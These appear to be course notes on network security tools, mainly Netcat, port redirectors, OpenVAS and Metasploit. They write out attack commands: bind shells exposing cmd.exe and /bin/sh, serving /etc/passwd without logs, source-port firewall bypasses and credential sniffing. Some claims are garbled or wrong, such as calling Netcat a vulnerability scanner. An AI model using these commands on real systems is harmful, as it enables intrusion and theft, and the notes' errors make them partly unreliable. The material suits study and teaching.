Some Basic Definitions:

IP Address:

- An Internet Protocol address (IP address) is a numerical label assigned to each device (e.g., computer, printer) participating in a computer network that uses the Internet Protocol for communication.
- An IP address serves two principal functions: host or network interface identification and location addressing.
- There are two versioning
    - IPv4
    - IPv6
- Ipv4 uses 32-bit for address whereas Ipv6 uses 128-bit for address.
- IP addresses are usually written and displayed in human-readable notations, such as 172.16.254.1 (IPv4), and 2001:db8:0:1234:0:567:8:1 (IPv6)

MAC Address:

- A media access control address (MAC address) is a unique identifier assigned to network interfaces for communications on the physical network segment.
- MAC addresses are used as a network address for most IEEE 802 network technologies, including Ethernet and Wi-Fi.

Computer network:

- A computer network is a telecommunications network which allows computers to exchange data.
- In computer networks, networked computing devices exchange data with each other along network links (data connections).
- The connections between nodes are established using either cable media or wireless media.
- The best-known computer network is the Internet.

Computer port:

- In computer hardware, a port serves as an interface between the computer and other computers or peripheral devices.
- Computer ports have many uses, to connect a monitor, webcam, speakers, or other peripheral devices.
- On the physical layer, a computer port is a specialized outlet on a piece of equipment to which a plug or cable connects.

DNS:

- DNS stands for “domain name system”.
- It is converting human-readable website name into computer-readable numerical IP addresses.
- For example: Google’s domain name is google.com. If you want to visit Google, you just need to

enter google.com into your web browser 's address bar.

- However, your computer does not understand where "google.com" is.
- Behind the scenes, the internet and other network use numerical IP addresses.
- Google.com is located at the IP address 73.194.39.78 on the internet.

Vulnerability:

- In computer security, vulnerability is a weakness which allows an attacker to reduce a system's security.

Overview of Vulnerability Scanning

- Vulnerability scanning usually refers to the scanning of systems that are connected to the Internet.
- It can also refer to system scanning or audits on internal networks that are not connected to the Internet in order to assess the threat of malicious software.
- It is possible to know the basic security measures when installing and managing network and websites.
- But it is not possible to catch all the vulnerabilities reside in the network and websites.
- The vulnerability scanners provide you the automate security auditing and play an important role in your IT security.
- The vulnerability scanners can scan your network and websites for up to thousands of different security risks.
- It produces a list of those vulnerabilities and gives steps on how to overcome or reduce them.
- There are generally two types of vulnerability scanning tools:
  1. **Network-based scanning tool:**
     Network-based scanning tools send network traffic to various network hosts and devices with the goal of gathering information that will indicate whether those systems have holes that can be exploited.
  2. **Host-based scanning tool:**
     Host-based scanning tools are run on each host to scan for a wide range of system problems including: unauthorized software, unauthorized accounts, unprotected logins, weak passwords and inappropriate access permissions.

False Negative:

- The vulnerability scanners use predefined tests to identify vulnerabilities (also called vulns). If the scanner has insufficient test, then the scanner does not report the vulnerability exists on the system. It can be known as false negative.

Zero-day Vulnerability:

- Zero-day vulnerability refers to a hole in software that is unknown to the vendor.
- This security hole is then exploited by hackers before the vendor becomes aware and hurries to

fix it- this exploit is called a zero-day attack.

- Zero-day vulnerabilities are particular dangerous because they represent a gap in knowledge between the attacker and defender.

False positive:

- If the scanner has a poorly written test, then scanner reports vulnerability even if it does not exist on a system. It may produce a false positive.
- It wastes time as administrators must follow up to manually check the vulnerability that is actually vulnerable or not.

Some of the free and very useful vulnerability scanners are:

- **Netcat**
- **Socat**

Open port/ service Identification

- Some services are very insecure. Telnet (port 23) is famous for its lack of encryption that leaks passwords.
- Hence Secure Shell (SSH) is widely accepted and reduced the presence of telnet on the Internet.
- Services do not always run on default ports; hence the scanner must rely on banners and "nudges" to produce a response from a listening port.
- Services do not always declare themselves. Telnet and SMTP (port 25) services return text- based banners when receives request for connection. It does not wait for particular incoming data on that connection.
- HTTP (port 80) will not respond for connection until the service receives a request that contains data.
- This way, scanners may distinguish whether an HTTP or SMTP service is listening on a nonstandard port.

Banner/Version Check

- Some services declare information about themselves without receiving particular data from a client.
- **Example:**

  Try to connect an SSH service, and you will immediately receive a prompt along the lines of

  ```
  $ nc -v localhost 22
  Connection to localhost 22 port [tcp/ssh] succeeded!
  SSH-2.0-OpenSSH_5.9
  ```

- If you know the version of SSH and target operating system, then it is very easy for someone to compromise the host.
- System administrators usually remove or change banners to make them more secure.
- But this doesn't remove the vulnerability, but it makes hard to detect based only on this technique.

Probe

- A probe is an action taken or an object used for the purpose of learning or collecting data about the state of the network.
- For example, an empty message can be sent simply to see whether the destination actually exists. Ping is a common utility for sending such a probe.

Traffic probe

- Some services declare information about themselves without receiving particular data from a client.
- But all services do not do that. However, lots of them will if you just ask.
- For example, a web service will not give response until it receives data from the client.
- A valid HTTP request using the HEAD method will provide some useful information like web server information, information about installed server operating system etc. which can be useful to compromise the host.
- Traffic probes try to use valid requests. Because valid protocol messages are less likely to crash or interrupt a service
- If a web server didn't handle the HEAD method without crashing, then the chances of compromising increases. So, this type of buggy service must need to be fixed to lower the chances of compromising.

Vulnerability Probe

- Some security bugs cannot be identified without sending a payload that exploits (using something to one's own advantage) a suspected vulnerability.
- These types of probes are more accurate—they rely on direct observation not only on port numbers or service banners.
- But they also carry more risk of interrupting the service, because the test payload must be trying to either produce or take advantage of an error in the service's code.
- An easy-to-understand example of a vulnerability probe is an HTML injection check for a web application.
- Imagine a web app that has a search box for users to find text within its pages. Typically, such apps report the search term in the web page, such as "Results for 'zombies'..."
- A snippet of HTML might look like

```
<div id="search"><span class="results">Results for 'zombies'...</span>
```

- There is nothing insecure in the word "zombies" appearing in this page. In order to see if the

web site has an HTML injection vuln, we need to use a payload that gives a hint about the app's security mechanisms.

- So, instead of searching for "zombies" we try searching for "<xss>". The web app's HTML now looks like

  Results for '<xss>'...

- When a web app search for user-supplied text, and that text contains characters that are important to the syntax of HTML (such as the angle brackets used to define tags like <script>), then it is possible that attacker rewrite the parts of web page and take advantages of this vulnerability.
- An attacker who exploits HTML injection vulnerability like this could steal data from the user or damage the web site.
- The hacker can take advantage of vulnerability to compromise the system or network.
- The outcome may be to crash the software, causing a denial of service, or retrieve data, like pulling usernames and passwords from a database, or completely compromise the operating system by gaining root or administrator access.
- Exploits take many shapes. It can be simple binary shellcode or clever bits of text appended to URL parameters.
- Discovering vulnerability typically just means uncovering a software fault. Developing an exploit means taking advantage of that software fault to give the attacker an advantage against the system.

Vulnerability Examples

- For the C language, the most basic example of a buffer overflows.
- There is given the part of vulnerable program. In this program, strcpy function copies the argv array into buffer of fixed size. The buffer may or may not store data because the length of the argv array may be more than the buffer array.
- The code of file named main.c.

```
#include <string.h>
int main (int argc, char *argv [])
{
        char buffer [512];
        if (argc > 1)
        strcpy (buffer, argv [1]);
}
```

- Compile the program with the following command:

  $ gcc main.c -o vulnerable

- In other words, the attacker is able to change the content of argv [1]. This means the attacker can create data longer than 512 bytes (the maximum size of the reserved buffer). This crash the

program.

- The quickest way to crash the program is to provide more bytes into it than the buffer can handle.
- Some vulnerability affects the availability of a service by using resources more than capacity. (Like disk space, bandwidth, CPU, or memory usage). These are called denial of service (DoS) attacks.
- The system has become unavailable for everyone. For websites, this ranges from awkward (home page not visible) to harmful situation (losing revenue from e-commerce).

OpenVAS (Open Vulnerability Assessment System)

- The Open Vulnerability Assessment System (OpenVAS) collects and manages security information for networks, devices, and systems.
- OpenVAS scans through a network to identify known network misconfigurations and known vulnerabilities associated with common services and software.
- Vulnerability detections are defined in scripts called Network Vulnerability Tests (NVTs).
- OpenVAS uses client/server architecture.
- The OpenVAS server keeps track of all of the different vulnerability results against the systems it discovers.
- The server uses its own database to manage users which is independent of the server's host operating system.
- Remote users access the server via an OpenVAS client to manage scans.
- OpenVAS is smart. It uses a variety of probing techniques to recognize services running on any port. It also uses service's identity based on the default Internet Assigned Numbers Authority (IANA) port number.
- If you have a web server running on TCP port 8888, the OpenVAS scanner will find it and run web-related NVTs (Network Vulnerability Tests) against it.
- If the scanner doesn't find a web server on one of its targets, then it skips unnecessary tests for that system.
- Sometimes this activity is dangerous because a successful exploit might crash the system you are scanning or causing data loss.
- OpenVAS describes the relative intrusiveness of tests and marks the more dangerous ones so that users can more easily enable or disable them for a scan.
- The OpenVAS reporting is extensive, well organized, and available in different formats. Each report collects the details of discovered vulns and aggregates them into an estimate of risk.
- Some advantages of OpenVAS are:
    - The OpenVAS user interface displays the aggregated information from all tasks so that this information helps you to visualize the overall risk associated with the targets you have defined.
    - The flexibility of the tool to import new tests (NVTs) on a daily basis. The power of the NVTs lies in the flexibility of the scripting language. This helps developers to define

techniques for identifying new software packages, new services, and new vulnerabilities.

Some of the Network Vulnerability Tests (NVTs) Categorized by Family are listed in below Table:

NVT Family	Description
Brute Force attacks	Checks authentication-based services for common credentials.
CISCO	Checks for Cisco system vulnerabilities. Includes checks for problems mentioned in Cisco's bug database as well as empty Passwords on accounts.
Compliance	Runs checks associated with various compliance frameworks. Some checks relate to recommended configurations and restrictive settings intended to improve a system's security.
Databases	Identifies vulnerabilities and misconfigurations associated with major database software and services.
Default Accounts	Checks for default username and password combinations and accounts not protected by passwords.
Denial-of-Service	Identifies vulns that affect the availability of a service. These vulns are usually identified based on version numbers or patch level, not by executing an actual DoS attack.
FTP	Checks for File Transfer Protocol–related vulnerabilities, including FTP misconfigurations, unnecessary unknown FTP access and more.
Firewalls	Identifies vulns associated with network security devices that Block or analyze traffic.
Malware	Identifies known viruses or other malware present on a system.
Peer-To-Peer File Sharing	Identifies vulns within software or services used by peer-to-peer Services.
Port scanners	Identifies open ports. This indicates the state of a port only, not the service listening on it.
RPC	Checks for information about and executes exploits for vulnerable RPC services such as mountd and statd.
Remote File Access	Checks for unauthorized methods of taking files through such services as NFS (Network File System), TFTP (Trivial File Transfer Protocol), and HTTP (Hypertext Transfer Protocol), or through poorly secured, remotely accessible databases like MySQL and PostgreSQL.

SMTP problems	Checks for vulnerabilities in popular mail servers.
SNMP	Checks for Simple Network Management Protocol (SNMP) vulnerabilities.
Web application Abuses	Performs cross-site scripting (XSS) attacks against a web application.
Web Servers	Checks for vulnerabilities and outdated applications that relate to web servers such as IIS or Apache.
Windows	Checks for vulns related to Microsoft's various operating systems. These kinds of checks are for Windows.

Table-1. Network Vulnerability Tests (NVTs) Categorized by Family

Metasploit

- The Metasploit Framework is best known as a tool for developing and executing exploit code against a remote target machine.
- Using the built-in tools available in Metasploit, security professionals can conduct penetration tests, verify patch installations and even perform regression testing.
- This is written using Ruby.
- The tool has about 500 modules, including hundreds of remote exploits that can be useful for various releases of Windows, Linux, UNIX, and the Mac OS.
- All this also makes it a favorite tool of hackers wanting to conduct attacks.
- Vulnerability scanners rely on service banners, version numbers, and network responses to guess whether a particular application or service has vulnerability.
- Metasploit is very easy to use even a person who can drive a mouse, or a keyboard can take over a vulnerable system.
- Metasploit is an open source project written in Ruby. Commercial support and extensions are available for it.
- Metasploit provides installers for several operating systems. Since it's written in Ruby, the source code is very easy to understand, modify, and extend.
- Metasploit uses the PostgreSQL database to manage data for scans, sessions, and post-hack information.
- Metasploit highlights features that are useful to using systems. You will need to have already collected information about hosts and services on the target network.
- This information is obtained with tools like OpenVAS, Nmap, Microsoft Baseline Security Analyzer, or a commercial scanner.
- A Metasploit hacking session progresses through several steps:
  - First, you must have to identify target.
  - Next, choose an exploit to use against a vuln on the target.
  - Customize the exploit to the target, which usually just requires specifying the IP address

against which to run the exploit.
- Next, select a payload. Like the exploit, usually just requires specifying an IP address; in some cases, you might change a TCP port number.
- Finally, launch the customized exploit and await the successful compromise of the target.

Difference between payload and exploits

- In computer security, payload refers to the part of malware which performs a malicious action.
- In the analysis of malicious software such as worms, viruses and Trojans, it refers to the software's harmful results.
- Examples of payloads include data destruction, messages with insulting text or spam e-mail messages sent to a large number of people.
- An exploit (meaning "using something to one's own advantage") is a piece of software, a chunk of data, or a sequence of commands that takes advantage of a bug or vulnerability in order to cause unexpected behavior to occur on computer software, hardware, or something electronic. Such behavior includes things like gaining control of a computer system or a denial-of-service attack.
- The exploit is what delivers the payload.
- Take a missile as an analogy. You have the rocket and fuel and everything else in the rocket, and then you have the warhead that does the actual damage.
- Without the warhead, the missile doesn't do very much when it hits.
- Additionally, a warhead isn't much use if it goes off in your bunker without a rocket delivering it.
- The delivery system (missile) is the exploit and the payload (warhead) is the code that actually does something.
- Exploits give you the ability to 'pop a shell/run your payload code'.
- Example payloads are things like Trojans/RATs, keyloggers, reverse shells etc.
- Payloads are only referred to when code execution is possible and not when using things like denial of service exploits.

Network Communication Basics

- The Two systems communicate with each other over a network by establishing a socket.
- Each end point (usually a client who starts a request) and server (which receives the request) binds a local port to use for the connection.
- The port number does not have to be unique per connection.
- For example, web servers listen on port 80 by default. That way, clients know that if port 80 is open, the service behind it is probably a web site.
- From the client's perspective, the connection's destination port is 80.
- The client needs to open its own port, which is the source port of the connection.
- When the server receives a request, it knows to respond to the client's port number.
- In network programming, the core functions used to communicate between servers are bind, listen, connect, accept, and send.

- These functions establish connections over TCP/IP (or other protocols, if the system supports them).

TCP:

- Transmission Control Protocol (TCP) is a connection-oriented protocol that handles traffic in a reliable manner.
- There are two important concepts: connection-oriented and reliable.
  - The connection-oriented aspect of TCP means the protocol maintains a state between its two end points that indicates whether communications are beginning, data is being transferred, or the communication is finished.
  - The reliable component to TCP ensures that data is successfully transferred between the end points. It uses sequence numbers to make sure each end knows how to put data in order, and when to re-request missing data.

UDP:

- The User Datagram Protocol (UDP) is a connectionless protocol that essentially dumps data onto a network without requiring confirmation from an end point that data was received in any particular order or that it was received at all.
- The lack of confirmation makes it an unreliable protocol.
- UDP has less network overheads than TCP and its packets require less processing.
- It is often used in high-throughput applications like gaming or streaming media where missing a packet or two would not negatively affect the overall quality of the content.
- However, these features also weaken UDP's security against spoofing attacks.

Netcat

- The Netcat performs function with a broad application to hacking and network debugging: It reads and writes data for TCP and UDP connections.
- Netcat enables you to redirect shell commands across a network
- Netcat interacts directly with a TCP or UDP service.
- You can inspect the raw data sent by a service, manually interact with the service, or redirect network connections with stdin, stdout.
- You can connect to text-based protocols like SMTP and HTTP, UDP services like DNS, and even binary protocols.
- Netcat is often called the "Swiss Army knife" of hacking.

Uses of Netcat

- Hackers have come up with hundreds of ways to use Netcat. Some of the uses of Netcat are given here in detail:

Obtain Remote Access to a Shell

- You can obtain remote access to a Windows shell (i.e., cmd.exe).

- It can be done either by opening a Netcat listener that executes the shell upon incoming connection to the Windows system, or by using Netcat to send (redirect) the shell from the Windows system to your own listener (also called "reverse shell").
- Of course, successfully obtaining a remote shell is affected by other factors, such as the presence of network filters, firewalls, system configuration, and bad luck.
- Run the following netcat command on a Windows system: C:\> netcat -l -e cmd.exe 10.0.1.2 4455
- You might be able to omit the IP address, in which case Netcat will choose a default.
- Otherwise, substitute the IP address of the Windows system from which the command is executed.
- This Netcat example can open a listener (-l) that will execute (-e) the cmd.exe command and glue the command's input/output to any connection on port 4455.

Perform Basic Port Scanning

- Because Netcat can talk to a range of ports, so we can use the tool as a port scanner.
- Your first instinct might be to have Netcat connect to ports on the target host.
- Netcat provides ways to make scans a bit stealthier.
- You can use the –i option and set up a probing interval. It will take a lot longer to get information, but the scan has a better chance of slipping under the radar.
- Use the –r option to randomize the order in which Netcat scans those ports:
  $ Nc -v -z -r -l 42 192.168.1.100 20-80
- This tells Netcat to choose ports randomly between 20 and 80 on 192.168.1.100.
- This command tries to connect to them once every 42 seconds.
- The evidence of the scan will still be in the target logs.
- Netcat isn't the most sophisticated tool to use for port scanning.
- Because it can be used for many general tasks.
- You might be better off using a port scanner that was written specifically for that purpose.

Identify more information about ports

- After using Netcat to identify which ports are open on a system, you might like to be able to get more information about those ports.
- You can usually accomplish this by connecting to a port; the service will immediately leak its version number, build, and perhaps even the underlying operating system.
- So, you should be able to use Netcat to scan a certain range of ports and report back on those services.
- The QUIT against ports 21 (FTP), 22 (SSH), and 80 (HTTP) and see what the servers tell us:
  $ echo QUIT | nc -v 192.168.1.100 21 22 80
- This command gives the information about the services like version details, services states (open or close), etc.
- A hacker can use this to look for an out-of-date version of a service that might be vulnerable to an exploit.

- A hacker who finds a particularly interesting port might be able to obtain even more information by focusing on that service and trying to speak its language.

Communicate with UDP Services

- The best feature Netcat has over telnet is that Netcat speaks UDP.
- If your syslog is configured to accept messages from other hosts on your network, you will see something on UDP port 514 when you issue a netstat command.
- One way to determine whether syslog is accepting UDP packets is to try the following and then see if anything shows up in the log:

```
$ echo "0I can speak syslog" | nc -u 192.168.1.100 514
Message from syslogd@originix at Mon Jan 7 06:07:48 2013 ...
originix I can speak syslog
punt!
```

- The 0 refers to the highest syslog level, kern.emerg.
- It is ensuring that this message should get written somewhere on the system (see your /etc/syslogd.conf file to determine exactly where).
- And if you check the kernel log, you should see something like this:

```
Jan 7 06:00:22 originix kernel: Symbols match kernel version 2.2.12.
Jan 7 06:00:22 originix kernel: Loaded 18 symbols from 5 modules.
Jan 7 06:06:39 originix I can speak syslog
```

- This is a good way to determine whether remote UDP servers are running.
- And if someone is running with an unrestricted syslog.
- They are leaving themselves open to a very simple attack that can fill up disk space, consume bandwidth, and increases CPU time.

For IP Spoofing

- The Spoofing an IP address is easy.
- Firewalls that do hide or Network Address Translation (NAT) spoof IP addresses on a daily basis.
- These devices can take a packet from an internal IP address, change the source IP address in the packet to its own IP address, send the packet out on the network, and undo the modifications when it receives data back from the destination.
- So, changing the contents of the source IP address in an IP packet is easy.
- But a difficult task is being able to receive any data back from your spoofed IP.
- Thus, you will be able to start a TCP connection handshake, but you will never be able to complete it or send data over a spoofed connection, because the other end point is returning traffic to the spoofed IP address, not yours.
- Netcat gives you the –s option, which lets you specify whatever IP address you want.
- Someone could start a port scan against someone else and use the –s option to make the target think it is being scanned by Microsoft or the Federal Bureau of Investigation (FBI).
- The problem arises when you actually want the responses from the spoofed port scan to return to your real IP address.

- Because the target host thinks it received a connection request from Microsoft, for example, it will attempt to send an acknowledgment to that Microsoft IP.
- The IP will have no idea what the target host is talking about and will send a reset.

Hijack a Service

- "r services" (rlogin, rexec, and so on), which would be good for hacking because they are very insecure.
- You can also see that telnet, FTP, X Window System, Web, and SSH are all running.
- All these services have not bound to a specific IP address.
- If you had root access on the X Window System server, you could listen to ports below 1024 and hijack things like FTP, HTTP, and other services.
- But third-party authentication, file-sharing, and other applications use higher ports.
- A non-privileged user could, for example, hijack a RADIUS server (which usually listens on port 1645 or 1812 UDP) and run the nc command with a –o option to get a hexdump of all the login attempts.
- By using the nc command with a –o option someone can compromise other users' credentials without requiring root privileges.

Create Proxies and Relays

- A listening Netcat can be used to issue another Netcat connection to a different host or port, creating a relay.
- Using this feature requires a bit of scripting knowledge.
- Because Netcat's –e option takes only a single command, you need to package all commands you want to run into a script.
- You can create a relay that spans several different hosts.
- The technique can be used to create a complex "tunnel," allowing hackers to make it harder for system administrators to catch.
- This feature can be used for good as well.
- For example, the relay feature could allow Netcat to proxy web pages.
- Has it listened on port 80 on a different system, and let it make all your web connections for you (using a script) and pass them through?
- Netcat also works through proxies. Use the -x and -X options to redirect traffic through SOCKS (version 4 or 5) or HTTPS proxy.

Bypass Port Filters

- Netcat could be used to bypass firewalls by hidden disallowed traffic as allowed traffic.
- Some misconfigured firewalls allow incoming traffic from a source port of 20 with a high destination port on the internal network in order to support FTP.
- Launching an attack using nc –p 20 target host 6000 may allow you access to target host's X server if the firewall is badly configured.
- It might assume your connection is incoming FTP data and let you through.

- You most likely will be able to access only a certain subset of ports.
- Most firewall admins explicitly eliminate the port 6000 range from allowable ports in these scenarios, but you may still be able to find other services above 1024 that you can talk to when coming from a source port of 20.
- DNS has similar issues. Almost all firewalls have to allow outgoing DNS but not necessarily incoming DNS.
- If you are behind a firewall that allows both, you can use this fact to get disallowed traffic through a firewall by giving it a source port of 53.
- From behind the firewall, running nc –p 53 target host 25 might allow you to bypass a filter that would normally block outgoing SMTP traffic.
- You can usually deny any DNS TCP traffic, which will shut down a lot of the DNS port filter problems.
- Forcing users to use passive FTP, which doesn't require the server to initiate a connection back to the client on TCP port 20, allows you to eliminate that hole.

Build a Datapipe: Your Own File Transfer

- Netcat lets you build datapipes over which you can send and receive files or other data from a command line's stdio interface.

File Transfers Through Port Filters

- By putting input and output files on each end of the datapipe, you can effectively send or copy a file from one network location to another without using any kind of file transfer protocol.
- If you have shell access to a system but are unable to initiate any kind of file transfer to it because port filters are blocking FTP, NFS (Network File System), and Samba shares, you have an alternative.
- On the side where the original file lives, run this:

  $ nc –l –u 55555 < file_we_want
- And from the client, try

  $ nc –u –targethost 55555 < copy_of_file
- Making the connection will immediately transfer the file.

Hidden File Transfers

- Hackers can use Netcat to transfer files from the system without creating any kind of audit trail, as follows.
- Where FTP or Secure Copy (scp) might leave logs, Netcat will not.

  $ nc –l –u 55555 < /etc/passwd
- When the hacker connects to that UDP port, they grab the /etc/passwd file without anyone detecting the connection.

Grab Application Output

- Let's say you have written a script that types some of the important system files to standard output (passwd, group, inetd.conf, hosts.allow, and so on) and runs a few system commands to

gather information (uname, ps, netstat).

- Let's call this script "sysinfo." On the target you can do one of the following:

  $ nc –l –u –e sysinfo 55555

  or

  $ sysinfo | nc –l –u 55555

- On your remote host, you can grab the output of the command and write it to a file called sysinfo.txt by using

  $ nc –u target 55555 > sysinfo.txt

- Both commands take the output of the sysinfo script and pipe it into the listening Netcat so that it sends that data over the network pipe to whoever connects. The –e option "hands over" I/O to the application it executes.
- When sysinfo is done with its I/O (at EOF), the listener closes, as does the client on the other end.
- If sysinfo is piped in, the output from sysinfo still travels over to the client, but Netcat still handles the I/O.
- The client side will not receive an EOF and will wait to see whether the listener has anything more to send.

Grab Application Control

- To start a remote shell on a Windows machine can be done on a Unix based system as follows:

  $ nc –u –l –e /bin/sh 55555

- Connect using nc –u targethost 55555.
- The shell (/bin/sh) starts up and lets you interact with that shell over the pipe.
- The –e option gives I/O control completely to the shell.
- Keep in mind that this command would need to be part of an endless while loop in a script if you wanted this backdoor to remain open after you exited the shell.
- Upon exiting the shell, Netcat would close on both sides as soon as /bin/sh finished.

Test Networking Equipment

- You can use Netcat to set up listeners on one end of a network and attempt to connect to them from the other end.
- You can test many network devices (routers, firewalls, and so on) for connectivity by seeing what kinds of traffic you can pass.
- And since Netcat lets you spoof your source IP address, you can even check IP-based firewall rules.
- You can also use the –g option to attempt source routing against your network.
- Most network devices should be configured to ignore source-routing options, as their use is almost never genuine.

Socat

- Socat is a clone of Netcat with extensive configuration options.
- It supports several protocols, from OpenSSL to proxies to IPv4 and IPv6.
- Socat uses word-based directives on the command line.
- Socat is part of the BSD ports collection and available as a package for most Linux distributions.
- Socat's command line follows a simple format, as follows:
    - $ socat options address1 address2
- The options resemble common "dash letter" flags such as -d, -h, and -v.
- A basic address specification consists of a keyword, followed by a list of parameters and behavior options.
- Address specifications are not case sensitive, but we will define them in uppercase to help distinguish them on the command line.
- For example, the following command connects stdio (the first address) to TCP port 80 on a remote host (the second address):

  $ socat STDIO TCP:deadliestwebattacks.com:80
- Since the first address is stdio, you can pipe data into the command just as you would with nc or any other shell command.
- Traffic is forwarded between the two addresses.
- Hence, the data piped into stdio is forwarded to the TCP host, whose response makes the round trip back through stdio.

Understanding Port and Services

- For a packet to reach its destination, it must have an IP address (a host on the network) and a port (a "socket" on that host).
- TCP assigns 16-bit port numbers for connections (giving a range of ports 0 through 65535).
- Well-known services like e-mail and the Web have predefined destination port numbers; e-mail uses port 25 (SMTP), and the Web uses 80 (HTTP) and 443 (HTTPS).
- This doesn't mean web services must always listen on port 80.
- Defaults port number gives clients a better chance of discovering services and makes network administration easier.
- For example, network administrators can more easily create security rules and monitor expected traffic if a service always uses a predictable port.
- Services with well-known, universally used ports create an environment where unusual traffic (which might be an indication of an attack!) is easier to spot.
- Outgoing connections from a system require a source port (from the other system's viewpoint, this is a destination port).
- Operating systems select source ports from a reserved range.
- The port range of 1024 through 49151 is referred to as the group of registered ports.
- These ports may have established service assignments (such as TCP port 26000 for Quake, or 42000–42999 for iTunes Radio streams).
- The range from 49152 through 65535 contains the dynamic ports.

- Source ports are usually taken from the ephemeral range.
- When you enter a URL in your browser, it translates the hostname to an IP address and connects to port 80 (or 443 for HTTPS schemes).
- When the web server receives a packet from your system, it knows the IP address and port number on which to return data.
- A web server always listens for HTTP requests on specific ports (80 and 443 by default).
- The client originates its request from an ephemeral port (or any port above 1023).
- The client and source port combination remain the same for the entire session.
- The Secure Shell (SSH) service uses TCP port 22 by default.
- The Server Message Block (SMB) protocol, which handles most Windows networking, listens on TCP port 139 (as well as 445 on Windows 2000 and XP).
- A network packet's ability to reach its destination's service port may also be affected by network access controls enforced by devices between the sender and destination, such as routers or firewalls.
- A significant portion of network security relies on determining which hosts are allowed to access which ports.
- A port redirection tool works by receiving data on one IP/port combination and forwarding the data to another IP/port combination.
- It works as an intermediary between the original client and the eventual destination.
- Port redirection is most useful for bypassing network access controls or crossing network boundaries.
- For example, installing a port forwarding mechanism on a compromised host enables attack traffic to be routed through that host into a network—areas otherwise limited to internal systems.
- And it means that if the compromise is discovered, the only hacking tool left behind for forensic review is the redirector.
- The hacker's toolkit remains safely hidden on a system out of reach, which is important to prevent defenders from building defenses or detections against custom-built tools.
- Port forwarding is also useful for making attribution difficult.
- The first indicator of a hacker's location is their IP address. Often, that's the last indicator as well.
- While it's not hard for an investigator to tie an IP address to a geographic location, it's also not hard for a hacker to employ several redirectors to forward traffic across several systems before it reaches the intended destination.
- This makes attributing an attack to a specific person, group, or even country difficult.

Datapipe

- A port redirection tool passes TCP/IP traffic received by the tool on one port to another port to which the tool points.
- Aside from handling IP addresses and port numbers, port redirection is protocol ignorant—the

tool does not care whether you pass encrypted SSH traffic or plain-text e-mail through it.

- A port redirection tool functions as a channel for TCP/IP connections.
- For example, you could place a datapipe on a system between a browser and a web server.
- If you pointed the browser to the listening port of the system with the redirection tool, the browser would see the contents of the web server without having to directly access the web server's IP address.
- Datapipe is a Unix-based port redirection tool.
- The original version was written by Todd Vierling in 1995.
- It runs on the UNIX platforms as well as Windows.
- Using Datapipe is straightforward:

  $ ./datapipe

  Usage: ./datapipe localhost localport remotehost remoteport
- The localhost argument indicates the IP address on which to open the listening port.
- It may be the localhost interface (i.e., 127.0.0.1) or the address of a network interface on the local system from which the datapipe command is being executed.
- The localport argument indicates the listening port on the local system; connections will be made to this port number.
- On UNIX systems, you must have root privileges to open a listening port below 1024.
- If you receive an error similar to "bind: Permission denied," your account may not have privileges to open a reserved port.
- The remoteport argument indicates the port to which data is to be forwarded.
- For example, in most cases if the target is a web server, the remoteport value will be 80.
- The remotehost argument indicates the hostname or IP address of the target.
- The easiest conceptual example of port redirection is forwarding HTTP traffic.
- Here we set up a datapipe to listen on a high port, 9080 in this example, that redirects to a web site of our choice:

  $ ./datapipe my. Host 9080 80 www.google.com
- Now, we enter this URL into a web browser:

  http://my.host:9080/
- You should see Google's home page.
- Datapipe performs a basic function, but with a little creativity you can make it a powerful tool.
- Port redirection forwards traffic between TCP ports only.
- It does not perform protocol conversion or any other data manipulation.
- Redirecting web traffic from port 80 to port 443 will not change HTTP connections to encrypted HTTPS connections.
- Use an SSL proxy instead, such as Stunnel.

FPipe

- FPipe, from McAfee, implements port redirection techniques natively in Windows.

- It also adds User Datagram Protocol (UDP) support, which Datapipe lacks.
- FPipe does not require any support DLLs or privileged user access.
- It runs on all Windows platforms.
- The lack of support DLLs or similar files makes it easy to pick up fpipe.exe and drop it onto a system.
- FPipe also adds more capability than Datapipe in its ability to use a source port and bind to a specific interface.
- FPipe's increased functionality necessitates some more command-line switches:

FPipe Option	Description
-? -h	Prints the help text.
-c	Maximum number of simultaneous TCP connections. The default is 32.
-i	The IP address of the listening interface.
-l	The listening port numbers.
-r	The remote port number (the port to which traffic is redirected).
-s	The source port used for outbound traffic.
-u	UDP mode.
-v	Prints verbose connection information.

Table-2. Different FPipe options

- As a port redirector, FPipe works like Datapipe.
- Here is the Datapipe version:

  $ ./datapipe my.host 9080 80 www.google.com
- Here's FPipe's equivalent, with connection logs as new clients access the listening port:

  C:\> fpipe -l 9080 -r 80 www.google.com

  Pipe connected:

  In: 10.0.1.12:57990 --> 10.0.1.5:9080

  Out: 10.0.1.5:49433 --> 72.233.2.58:80
- FPipe does not run as a background process.
- It continues to report connections until you press ctrl-c.
- Notice that FPipe also indicates the peer IP addresses and the source port number of each connection.
- The –s option allows FPipe to take further advantage of port specification:

  C:\> fpipe –l 139 –r 139 –s 88 192.168.97.154
- This example might appear trivial at first.

- After all, what's the use of redirecting one NetBIOS port to another? The advantage is that all SMB traffic from the port redirection has a source port of 88.
- This type of source port trick is useful to bypass misconfigured firewalls.
- Other good source ports to try are 20, 25, 53, and 80.

WinRelay

- WinRelay is another Windows-based port redirection tool.
- It and FPipe share the same features, including the ability to define a static source port for redirected traffic.
- Consequently, it can be used interchangeably with FPipe on any Windows platform.
- If you're already familiar with Datapipe or FPipe, using WinRelay will be easy:

  winrelay -lip <IP/DNS address> -lp <port> [-sip <IP/DNS address>] [-sp <port>] -dip <IP/DNS address> -dp <port> -proto <protocol>
  - -lip = IP (v4/v6) or DNS address to listen at (to listen on all addresses on all interfaces use -lip allv4 or -lip allv6)
  - -lp = port to listen at -sip = source IP (v4/v6) or DNS address for connection to destination
  - -sp = source port for connection to destination
  - -dip = destination IP (v4/v6) or DNS address
  - -dp = destination port
  - -proto = protocol ("tcp" or "udp")

Nmap

- Nmap is one of the most used and continuously maintained tools in network security.
- It is supported on Linux, UNIX and windows also.
- Nmap contains a few dozen options that affect the type, accuracy, scope, and details of a port scan. The essential command line consists of two or three components:

  $ nmap [Scan Type(s)] [Options] {target specification}
- The scan type determines how Nmap creates probe packets for services.
- For example, it may set valid or invalid flags to elicit different responses from a system.
- Other options affect things like the timing and stealth of a scan, or how its output is recorded.
- The target specification is always required. It represents the host, hosts, or network ranges against which Nmap will probe for services.
- The target specification is flexible enough to accept hosts and networks in a variety of formats.

Table lists some examples of Nmap target specifications.

Specification	Explanation
10.0.1.12	Single host by IP address.
website	Single host by hostname (e.g., FQDN).
10.0.1.12,13	Two hosts, one who's IP address ends in .12,
	the other whose IP address ends in .13.
